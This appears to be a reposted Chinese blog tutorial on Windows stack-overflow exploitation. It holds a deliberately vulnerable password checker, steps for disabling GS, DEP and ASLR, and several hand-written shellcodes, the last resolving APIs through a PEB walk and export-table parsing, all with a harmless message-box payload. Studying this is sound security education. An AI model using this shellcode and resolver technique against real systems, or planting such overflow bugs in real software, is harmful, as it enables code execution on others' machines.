ShellCode


典型栈溢出A-代码分析

ShellCode-A

#include "pch.h"
#include <iostream>
#include <Windows.h>
#define PASSWORD "15PB"
// GS: 用于判断当前是否产生了溢出,依赖的是检查安全 cookie, CheckStackValue
// inline: 没有关闭代码优化,导致一些简单的代码被直接内联了
// dep: 这个程序中不关闭 DEP 会导致 shellcode 无法执行
// aslr: 地址空间随机化,栈和加载基址等都不是固定的,需要关闭它
int VerifyPassword(char *pszPassword, int nSize)
{
    // szBuffer 是溢出的数组,溢出的数据被保存在这个位置
char szBuffer[50] = {0};
    // 崩溃产生的原因是 nSize 作为拷贝的大小,超出了栈的范围
memcpy(szBuffer, pszPassword, nSize);
return strcmp(PASSWORD, szBuffer);
}

int main()
{
int nFlag = 0;
char szPassword[0x200] = {0};
int nFileSize = 0;
FILE *fp;
LoadLibraryA("user32.dll");
if (NULL==(fp=fopen("password.txt","rb")))
{
MessageBoxA(NULL, "打开文件失败", "error", NULL);
exit(0);
}
fseek(fp, 0, SEEK_END);
nFileSize = ftell(fp);
rewind(fp);
fread(szPassword, nFileSize, 1, fp);
nFlag = VerifyPassword(szPassword, nFileSize);
if (nFlag)
{
printf("密码错误");
}
else
{
printf("密码正确");
}
fclose(fp);
system("pause");
return 0;
}

禁用安全检查

1565589379281

禁用优化

1565589513405

禁用随机地址

1565630796541

在同个文件夹下面创建password.txt。输入很多A,让程序崩溃。

控制面板-管理工具-日志-程序应用

1565591056365

因为我输入的是全部A的一长串,所以这里显示41是A的ascii吗。

1565591678067

1565592486057

找到的MessageBoxA地址是76FA1F85

用010Editor修改。会弹出白框。

1565630986597

1565595231639

ShellCode-B

1565599207778

1565599640353

1565599920615

#include "pch.h"
#include <iostream>
#include <windows.h>
int main()
{
__asm
{
SUB ESP, 0x20
JMP tag_Shellcode
_asm _emit(0x70)_asm _emit(0x1F)_asm _emit(0xFA)_asm _emit(0x76)
_asm _emit(0x20)_asm _emit(0x4F)_asm _emit(0x2F)_asm _emit(0x77)
_asm _emit(0x48)_asm _emit(0x48)_asm _emit(0x48)_asm _emit(0x48)
_asm _emit(0x48)_asm _emit(0x48)_asm _emit(0x48)_asm _emit(0x48)
_asm _emit(0x48)_asm _emit(0x48)_asm _emit(0x48)_asm _emit(0x48)
_asm _emit(0x00)
tag_Shellcode:
CALL tag_Next
tag_Next :
POP ESI
XOR EDX, EDX
LEA EDI, [ESI - 0X12]
MOV EAX, [ESI - 0X1A]
PUSH EDX
PUSH EDI
PUSH EDI
PUSH EDX
CALL EAX
MOV EAX, [ESI - 0X16]
PUSH EDX
CALL EAX
}
MessageBoxA(0, 0, 0, 0);
}

详细讲解:

ShellCode-C

#include <windows.h>

// 定义成数组是为了让字符串不被保存在常量区
char shellcode[] = "\x83\xEC\x20\xEB\x15\x80\x03\xB4\x77\xF0\x58\x72\x77\x48\x65\x6C\x6C\x6F\x20\x57\x6F\x72\x6C\x64\x21\x00\xE8\x00\x00\x00\x00\x5E\x33\xD2\x8D\x7E\xEE\x8B\x46\xE6\x52\x57\x57\x52\xFF\xD0\x8B\x46\xEA\x52\xFF\xD0";

// dep: 数据执行保护,防止数据区域被作为代码执行

int main()
{
/*__asm
{
; 如果没有开辟栈帧,那么在操作 ebp 和 esp 的地址时,极有可能
; 会覆盖掉已执行或未执行的 shellcode 代码,所以通常需要开辟空间
; 并且开辟的大小应该要大于 OPCODE 的长度
sub esp, 0x20
; 跳转到 shellcode 区域
jmp tag_Shellcode
; (getpc() - 0x1A) MessageBoxA 的地址,由于通常使用小端存储,需要按字节颠倒顺序
_asm _emit(0x80) _asm _emit(0x03) _asm _emit(0xB4) _asm _emit(0x77)
; (getpc() - 0x16) ExitProcess 的地址,同样通过 ctrl + g 找到的
_asm _emit(0xF0) _asm _emit(0x58) _asm _emit(0x72) _asm _emit(0x77)
; (getpc() - 0x12) Hello 15Pb 字符串,_emit 添加一个字符到所在位置
_asm _emit(0x48) _asm _emit(0x65) _asm _emit(0x6C) _asm _emit(0x6C)
_asm _emit(0x6F) _asm _emit(0x20) _asm _emit(0x57) _asm _emit(0x6F)
_asm _emit(0x72) _asm _emit(0x6C) _asm _emit(0x64) _asm _emit(0x21)
_asm _emit(0x00)

; 使用了 GetPC 技术,用于获取一个基址,作为参照物
tag_Shellcode:
call tag_next
tag_next:
; call 会使当前指令的地址入栈, pop 获取了当前指令地址
; 将当前指令所在的地址,作为想要查找的数据的参照基址
pop esi

; 获取函数地址和参数,并且调用 MessageBoxA
xor edx, edx
lea edi, [esi - 0x12]
mov eax, [esi - 0x1A]
push edx
push edi
push edi
push edx
call eax

; 获取 ExitProcess 函数,退出程序
mov eax, [esi - 0x16]
push edx
call eax
}*/

__asm
{
lea eax, shellcode
push eax
ret
}

// 为了让当前程序中存在 MessageBoxA 这个函数
MessageBoxA(0, 0, 0, 0);
}

// 通过使用 jmp esp 地址覆盖返回地址,使 ret 时,跳转到 jmp esp 指令 位置
// jmp esp 的地址会因为 ret 而被 pop 出来,所以 shellcode 需要紧跟着写在
// jmp esp 地址的后面。

ShellCode-G


#include "pch.h"
#include <iostream>
#include <windows.h>
int main()
{
__asm
{
PUSHAD
SUB ESP, 0x20          //开辟一段栈空间,增加健壮性。
JMP tag_Shellcode   //前置代码,避免后面的数据被解释为指令

// GetProcAddress
// [tag_Next-0x51]
_asm _emit(0x47)_asm _emit(0x65)_asm _emit(0x74)_asm _emit(0x50)
_asm _emit(0x72)_asm _emit(0x6F)_asm _emit(0x63)_asm _emit(0x41)
_asm _emit(0x64)_asm _emit(0x64)_asm _emit(0x72)_asm _emit(0x65)
_asm _emit(0x73)_asm _emit(0x73)_asm _emit(0x00)

// LoadLibraryExA\0
// [tag_Next-0x43]       
_asm _emit(0x4C)_asm _emit(0x6F)_asm _emit(0x61)_asm _emit(0x64)
_asm _emit(0x4C)_asm _emit(0x69)_asm _emit(0x62)_asm _emit(0x72)
_asm _emit(0x61)_asm _emit(0x72)_asm _emit(0x79)_asm _emit(0x45)
_asm _emit(0x78)_asm _emit(0x41)_asm _emit(0x00)

// User32.DLL\0
// [tag_Next-0x34]         
_asm _emit(0x55)_asm _emit(0x73)_asm _emit(0x65)_asm _emit(0x72)
_asm _emit(0x33)_asm _emit(0x32)_asm _emit(0x2E)_asm _emit(0x64)
_asm _emit(0x6C)_asm _emit(0x6C)_asm _emit(0x00)

// MessageBoxA\0
// [tag_Next-0x19] 
_asm _emit(0x4D)_asm _emit(0x65)_asm _emit(0x73)_asm _emit(0x73)
_asm _emit(0x61)_asm _emit(0x67)_asm _emit(0x65)_asm _emit(0x42)
_asm _emit(0x6F)_asm _emit(0x78)_asm _emit(0x41)_asm _emit(0x00)

// ExitProcess\0
// [tag_Next-0x1D]        
_asm _emit(0x45)_asm _emit(0x78)_asm _emit(0x69)_asm _emit(0x74)
_asm _emit(0x50)_asm _emit(0x72)_asm _emit(0x6F)_asm _emit(0x63)
_asm _emit(0x65)_asm _emit(0x73)_asm _emit(0x73)_asm _emit(0x00)

// HelloWorld!\0
// 因为Call tag_Next=push eip+jmp tag_Next的地址.
// 所以这里是[tag_Next-0x11]
// -0x12是因为这里_emit插入了12个字符,机器码位置+12+5个call的字节之后就是tag_Next的机器码位置。
_asm _emit(0x48)_asm _emit(0x65)_asm _emit(0x6C)_asm _emit(0x6C)
_asm _emit(0x6F)_asm _emit(0x20)_asm _emit(0x57)_asm _emit(0x6F)
_asm _emit(0x72)_asm _emit(0x6C)_asm _emit(0x64)_asm _emit(0x00)



// 1.GetPC
tag_Shellcode:
CALL tag_Next
tag_Next :
pop ebx //ebx = BaseAddr

// 2.获取关键模块基址
mov esi,dword ptr fs:[0x30] // esi = PEB的地址
mov esi,[esi+0x0C] // esi = 指向PEB_LDR_DATA结构的指针
mov esi,[esi+0x1C] // esi = 模块链表指针InInit..List
mov esi,[esi] // esi = 访问链表中的第二个条目
mov edx,[esi+0x08] // edx = 获取Kernel32.dll基址
// 3.获取GetProcAddress的函数地址
push ebx // BaseAddr
push edx // Kernel32.dll
call fun_GetProcAddress
mov esi,eax

// 4.获取LoadLibraryExA的函数地址
lea ecx,[ebx-0x43]          // LoadLibraryEXw
push ecx            // 传参-lpProcName=LoadLibraryExA
push edx            // 传参-hModule=Kernel32.dll
call eax            // GetProcAddress

// 5.调用Payload部分
push ebx        //BaseAddr
push esi        //Addr_GetProcAddress
push eax        //Addr_LoadLibraryExA
push edx        //Kernerl32.dll
call fun_Payload        //调用Payload

//
// 函数:获取关键函数地址,返回值为关键函数地址
//
fun_GetProcAddress://(int ImageBase,int BaseAddr)
push ebp
mov ebp,esp
sub esp,0x0C
push edx

// 获取EAT ENT EOT
mov edx,[ebp+0x08]       // 第二个参数Kernel32.dll
mov esi,[edx+0x3C] // IMAGE_DOS_HEADER.E_LFANEW
lea esi,[edx+esi] // PE文件头VA
mov esi,[esi+0x78] // IMAGE_DIR...EXPORT.VirtualAddress
lea esi,[edx+esi] // 导出表VA
mov edi,[esi+0x1C] // IMAGE_EXP...ORY.AddressOfFuntions
lea edi,[edx+edi] // EAT VA
mov [ebp-0x04],edi // LOCAL_1
mov edi,[esi+0x20] // IMAGE_EXP...ORY.AddressOfNames
lea edi,[edx+edi] // ENT VA
mov [ebp-0x08],edi // LOCAL_2
mov edi,[esi+0x24] // IMAGE_EXP...ORY.AddressOfNameOrdinals
lea edi,[edx+edi] // EOT VA
mov [ebp-0x0C],edi // LOCAL_3

xor eax,eax // 清零
jmp tag_FirstCmp
tag_CmpFunNameLoop: //
inc eax // 循环计数增加1


tag_FirstCmp:

mov esi,[ebp-0x08] // LOCAL_2 ENT
mov esi,[esi+4*eax] // ENT RVA 数组 eax为i
mov edx,[ebp+0x08] // PARAM_1 =IMAGEBASE
lea esi,[edx+esi] // ENT VA=IMAGEBASE+RVA
mov ebx,[ebp+0x0C] // PARAM_2 =BaseAddr
lea edi,[ebx-0x52] // GetProcAddress
mov ecx,0x0E // GetProcAddress长度
cld
repe cmpsb
jne tag_CmpFunNameLoop   // 如果不相等就继续比较
// 3.成功后找到对应的序号
mov esi,[ebp-0x0C] // LOCAL_3(EOT)
xor edi,edi
mov di,[esi+eax*2]       // 用函数名数组下标在序号数组找到对应的序号
// 4.使用序号作为索引,找到函数名所对应的函数地址
mov edx,[ebp-0x04] // LOCAL_1(EAT)
mov esi,[edx+edi*4] // 用序号在函数地址数组找到对应的函数地址
mov edx,[ebp+0x08] // PARAM_1(ImageBase)
// 5.返回获取到的关键函数地址
lea eax,[edx+esi] //GetProcAddress的地址
pop edx
mov esp,ebp
pop ebp
retn 0x08

//
//函数:有效载荷部分,返回值为NULL
//

fun_Payload://(int Kernel32_Base,int LoadLibraryExW,int GetProcAddress,int BaseAddr)

PUSH EBP
MOV EBP,ESP
SUB ESP,0x08
MOV EBX,[EBP+0x14]       // PARAM_4(BaseAddr)
// 1.获取MessageBoxA的地址
LEA ECX,[EBX-0x34]       // User32.dll
PUSH 0     // dwFlags=0
PUSH 0     // hFile =0
PUSH ECX     // lpLibFileName =User32.dll
CALL [EBP+0X0C]     // LoadLibraryExA()
LEA ECX,[EBX-0X29]     // MessageBoxA
PUSH ECX     // lpProcName=MessageBoxA
PUSH EAX     // hMoudule =User32.dll基址
CALL [EBP+0X10]     // GetProcAddress()
MOV [EBP-0X04],EAX 
// 2.获取ExitProcess的函数地址
LEA ECX,[EBX-0X1D] // ExitProcess
PUSH ECX // lpProcName=ExitProcess
PUSH [EBP+0X08] // hModule =Kernel32.dll
CALL [EBP+0X10] // GetProcAddress()
MOV [EBP-0X08],EAX
// 3.显示helloworld
LEA ECX,[EBX-0X11]  // Hello World
PUSH 0  // uType
PUSH ECX  // lpCaption
PUSH ECX  // lpText
PUSH 0  // hWnd
CALL [EBP-0X04]  // MessageBoxA()
PUSH 0  // uExitCode=0
CALL [EBP-0X08]  // ExitProcess()
MOV ESP,EBP 
POP EBP 
RETN 0X10 
}

}

转载于:https://www.cnblogs.com/ltyandy/p/11343855.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值